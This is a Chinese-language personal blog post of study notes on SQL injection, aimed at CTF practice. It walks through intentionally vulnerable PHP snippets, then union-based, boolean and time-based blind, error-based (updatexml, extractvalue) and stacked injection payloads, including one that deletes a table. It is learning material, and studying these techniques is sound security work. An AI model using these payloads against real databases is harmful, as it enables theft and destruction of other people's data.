SQL注入

本文最后更新于 2024年11月11日 凌晨

以前一直搞不太懂 SQL 注入的一些东西,不知道为什么要加单引号或双引号,为什么有时候用 and 但有时候又用 or,最近看了一些 SQL 注入知识点,所以总结一些 qwq

简介

寻找功能点进行测试,达到非预期执行数据库语句

比如

1
select username,password from users where id = butt3rf1y;

一般在以下地方容易存在注入点:

URL参数:例如在查询字符串或路径中

表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等,如果没有进行充分的输入验证和过滤,就可能成为 SQL 注入的目标

Cookie:如果应用程序使用 Cookie 来存储用户信息或会话状态,可以通过修改 Cookie 中的值来进行 SQL 注入

HTTP头部:有些应用程序可能会从 HTTP 头部中获取数据,可以在 HTTP 头部中进行 SQL 注入

数据库查询语句:如果有源码,直接进行代码审计,可能有直接拼接 SQL 查询语句的地方,存在 SQL 注入

结构

如上图,数据库的结构为

1
2
3
4
5
6
7
8
+数据库 (database)	-->ctf_database
+ - 表_user (table_user) -->user
+ - 表_users (table_users) -->users
+ + - 列_id (column_id) -->id
+ + - 列_username (column_username) -->username
+ + - 列_password (column_password) -->password
+ + + - 数据
+ + + - 数据

常用语法

SECLECT

1
select 列名1, 列名2, ... from 表名 where 条件

UNION

1
select 列名1 from 表名1 union select 列名2 from 表名2

使用 union 的时候两个表列数必须相同

Order by

1
select column1, column2, ... from table_name [where condition] order by column_name

一般用来判断列数,比如说

1
2
3
4
select column1,column2 from table_name order by 1;	//不报错
select column1,column2 from table_name order by 2; //不报错
select column1,column2 from table_name order by 3; //报错
//说明只有2列

常用参数

user():当前数据库用户

database():当前数据库名

concat():联合数据,用于联合两条数据。比如 concat(username,0x30,password)usernamepassword 通过 : 连接起来

group_concat:和 concat 类似,用于把多条数据一次注入出来

select xxoo into outfile '路径':权限较高时可直接写文件

基本注入类型

注入类型判断

SQL 处理语句后台的写法

1
select username,password from users where id = ?

? 这里有多种闭合方式,比如:$id'$id'“$id”($id)

然后构造闭合,其实这个词我也不太懂,看了一下探姬师傅的 hello-ctf 上的解释,是这样的:

比如后台为:

1
select username,password from users where id="$id"

那么我们使传入的 $id='1"' ,后台执行则为

1
select username,password from users where id="1""

在这里对 1 完成了闭合构造,但是闭合了前序导致后续的 " 没有双引号配对,多出来的这个双引号就会导致报错:

1
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1

所以通常在构造完闭合后去注释掉后面的符号,比如使用 #,--

是否报错判断

"1'"

1
2
select username,password from users where id = "1'"
// "" 中为可以包含 ',而 1'是一个合法字符串,在查询时会先被强制类型转换为数字,不会报错

1'

1
2
select username,password from uders where id = 1'
// 因为这里的'没有闭合,会报错

'1''

1
2
select username,password from users where id = '1''
// '与前面的'闭合了,但是剩了一个 ',会报错

报错信息判断

1"

1
2
3
执行:id = "1""
报错:near '"1""' at line 1
//去掉外层 SQL 的单引号,留下 "1"",可以判断出是双引号的字符型注入

1'

1
2
3
执行:id = '1''
报错:near '1''' at line 1
// 去掉外层留下 '1'',再除去注入的 1',可以判断出是单引号的字符型注入

'1

1
2
3
执行:id = ''1'
报错:near ''1' at line 1
// 对于 SQL,id = ''已经闭合,所以 1' 成为了报错点

数字型注入

1
2
3
4
5
<?php
$conn = mysqli_connect('127.0.0.1','root','root','test');
$res = mysqli_query($conn,"select username from users where id=".$_GET['id']);
$row = mysqli_fetch_array($res);
var_dump($row['username']);

根据用户输入 id,查询用户信息。用户的输入 id 字段,没有任何过滤地被直接拼接在了 sql 查询语句中。由于 id 没有被引用包裹,而且类型为数字,此为数字型注入。

可以使用在语句中加入运算符来测试这种注入是否存在

sql 关键字 union,将两个 select 语句结果合并到一个结果集中,但要求两个 select 语句拥有相同的列数。

使用联合查询 union 基于 information_schema 拿到数据库名

1
select username,password from user where id = 1 union select 1,schema_name from information_schema.schemata;

以把 1 换成其他的,比如 database()

1
select username,password from user where id = 1 union select database(),schema_name from information_schema.schemata;

空格的 url 编码是 %20,如果要查询其他行,还需要使用 **limit **关键字。

使用联合查询去得到数据库的表名,先获取当前库(database()

基于 UNION GROUP_CONCAT(table_name)information_schema.tables 查询

1
select username,password from user where id = 1 union select group_concat(table_name),2 from information_schema.tables where table_schema = database();

获取 表 的对应字段名

1
select username,password from user where id = 1 union select group_concat(column_name),2 from information_schema.columns where table_schema = database();

字符型注入

1
2
3
4
5
<?php
$conn = mysqli_connect('127.0.0.1','root','root','test');
$res = mysqli_query($conn,"select id from users where username='".$_GET['username']."'");
$row = mysqli_fetch_array($res);
var_dump($row['id']);

通过 username 查询 id,而且用户输入的 username 被单引号包裹起来了。所有用户的所有输入都会被当成字符串处理,无法将之前的数字型注入的 payload 进行注入了。如果输入中有一个引号,就可以将前面的引号闭合,使得后面的内容从字符串中逃逸出来。最后将后面的引号注释掉。

首先就需要构造单引号的闭合

使用一个单引号将字符串闭合,在输入 sql 语句,最后用 # 号将后面的单引号注释掉。

比如:username = ‘or 1=1 #,

1
select id from users where username=''or 1=1 #;

在 where 语句中,or 连接两个表达式,第一个返回假第二个返回真,or 操作后返回真,整个操作返回所有的结果集。

username=-1’ or ‘1’=‘1’ --

1
select * from user where username = '-1' or '1'='1' -- ' and password = '$password';

这样就直接可以使 where 条件为永真,直接输出 select * from user 的所有内容

order by 判断函数

1
2
3
4
select * from user where username = '-1' or '1' = '1' order by 1-- ' and password = '$password';
select * from user where username = '-1' or '1' = '1' order by 2-- ' and password = '$password';
select * from user where username = '-1' or '1' = '1' order by 3-- ' and password = '$password';
select * from user where username = '-1' or '1' = '1' order by 4-- ' and password = '$password';//报错

库名

1
select * from user where username = '-1' or '1' = '1' union select 1,schema_name,2 from information_schema.schemata;-- ' and password = '$password';

表名

1
select * from user where username = '-1' or '1' = '1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()-- ' and password = '$password';

字段名

1
select * from user where username = '-1' or '1' = '1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()-- ' and password = '$password';

盲注

顾名思义就是服务器不显示查询结果,只返回是否查询成功时,无法使用 union 直接回显数据,需要盲注。盲注有时间盲注和布尔盲注。

例句

1
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

有时候防火墙拦截过滤了 and 但 or 可能没有被过滤拦截,那就可以用 or 来进行盲注

布尔盲注

比如 id 传参是

1
id = 1 and 1 = 1

执行语句:

1
select username,password from user where id = 1 and 1 = 1;

这里要求两个条件为真,一是有 id=1,二是 1=1

如果 输入1=2,并不会有回显,返回为空,因为 and 后面的条件并不满足。

所以可以利用此特点来获取其他信息:

length()获取长度信息

1
id = 1 and length(username) = num;

利用 length() 函数爆破数据长度

1
select username,password from user where id = 1 and length(username) =1;

还可以使用二分

1
2
id = 1 and length(username)< num
id = 1 and length(username)> num

SUBSTR()函数截取字符串

substr(string,start,length) 参数依次为:要截取字符串,截取开始位置,截取长度。

比如注入 admin 的 password,构造这样的输入:

1
username='or substr(password,1,1)='1' #;

实际 sql 语句:

1
select id from users where username='' or substr(password,1,1)='1' #;

可以不断改变比较的字符,选取所有可显示字符去遍历,当猜中真正的返回值时,服务器返回用户存在。

除了截取字符串,还能替换某个字符

admin 的第 4 到 6 个字符替换为 ***

1
update user set username = substr(username,1,3)||'***'||substr(username,7) where username = 'admin';

在不使用联合注入和回显的方式拿到数据

1
select username,password from user where id = 1 and substr((select password from user where username = 'admin'),1,1) = 'a';

MID()函数截取字符串

substr()比较像

1
2
mid("butt3rf1y",1,3);	// 返回 “but”
substr("butt3rf1y",1,3); // "but"

CONCAT()函数拼接字符串

可以减少查询跳转次数

1
concat(string1,string2,...)
1
select username,password from user where id = 1 union select concat(username,'-',password),1 from user;

时间盲注

利用语句执行时间判断真假

IF() 函数

判断指定条件是否成立,根据结果返回不同的值

1
2
3
4
if(condition,value_if_true,value_if_false);

// true:条件成立时要返回的值
// false:条件不成立时要返回的值

SLEEP()函数

程序执行时,会暂停指定秒数

1
sleep(seconds)

比如

1
2
3
select * from user where username = 'admin' and if(sleep(5),1,0);

//如果不存在用户名为 admin 的用户,语句将立即返回结果,否则暂停 5s 再返回结果

延时函数 SLEEP()BENCHMARK() 函数来判断是否注入成功

1
2
3
select username,password from user where id = 1 and if(ASCII(substr(username),1,1))=97,sleep(5),0);

// 如果用户表中的第一个用户名字符为字母 a,则程序会暂停 5s,否则返回 0

BENCHMARK()函数

用于重复执行指定语句

(重复执行次数,重复执行语句)

1
benchmark(count,expr)
1
2
3
select * from user where username = 'admin' and if(benchmark(10,md5('butt3rf1y')),1,0);

// 如果数据库中不存在用户名为 admin 的用户,那么该语句将会立即返回;否则,程序将会重复执行 md5('butt3rf1y') 函数 10 次后再返回结果

时间戳

unix_timestamp() 函数

1
2
3
select username,password from user where id = 1 and if(unix_timestamp)>1382772838,sleep(5),0);

//如果当前时间戳大于 1382772838,则程序会暂停 5s,否则返回 0

函数返回值

利用函数返回值判断是否注入成功

1
select username,password from user where id = 1 and if(length(username)=4,sleep(5),0);

报错注入

通过报错获取信息

updatexml()函数

用于更新 xml 格式数据

(要更新的 xml 数据,要更新的节点路径,更新的节点值)

1
updatexml(xml_target,xpath_expr,new_value)

这个函数有一个缺陷,如果二个参数包含特殊符号时会报错,并且会第二 个参数的内容显示在报错信息中

比如

1
2
3
select username,password from user where id = 1 and updatexml(1,0x7e,3);

会报错:XPATH syntax error: '~'

所以可以用 concat() 函数将查询语句和特殊符号拼接在一起

1
2
3
select username,password from user where id = 1 and updatexml(1,concat(0x7e,version()),3);

// XPATH syntax error: '~8.0.40'

updatexml()有长度限制,可以用 limit()substr() 函数

limit() 函数

1
2
3
select username,password from user where id = 1 and updatexml(1,concat(0x7e,(select username from user limit 1,1)),3);

//可以不断改变 limit num,1 的值逐行获取

substr()函数

1
2
3
select username,password from user where id = 1 and updatexml(1,concat(0x7e,substr((select group_concat(username) from user),1,31)),3);

// XPATH syntax error: '~admin,ctf,test,flag,user'

获得所有数据库

1
2
3
select username,password from user where id = 1 and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata), 1 , 31)),3);

// XPATH syntax error: '~mysql,information_schema,perfor'

获取所有表

1
2
3
select username,password from user where id = 1 and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema = 'mysql'),1,31)),3);

//XPATH syntax error: '~columns_priv,component,db,defau'

获取所有字段

1
2
3
select username, password from user where id = 1 and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema = 'mysql' and table_name = 'db'),1,31)),3); 

// XPATH syntax error: '~Host,Db,User,Select_priv,Insert'

EXTRACTVALUE()函数

从 XML 格式的数据中提取指定节点的值

(要提取节点值的 XML 数据,要提取的节点路径)

1
extractvalue(xml_target,xpath_expr)

报错和 updatexml() 函数一样,使用也差不多,但是少一个参数 x

堆叠注入

一堆 SQL 语句 (多条) 一起执行方法

在执行 SQL 语句时,如果 SQL 语句中包含多个 SQL 语句,数据库服务器会依次执行这些 SQL 语句,从而导致多次 SQL 注入攻击(感觉有点小像爆破)。通过在 SQL 语句中使用分号(;)来分隔多个 SQL 语句,从而实现堆叠注入攻击。

1
select * from users;show databases; 

堆叠注入可以执行的是任意的语句。

比如用户输入:1; DELETE FROM products

1
Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

并不是每一个环境都适合堆叠注入,且在堆叠前还需要知道一些信息才能正常注入。

只是一些常见的注入类型,以后在学习过程中还会遇到新知识,到时候再补充嘻嘻~~~


SQL注入
http://example.com/2024/11/10/SQL注入/
作者
butt3rf1y
发布于
2024年11月10日
许可协议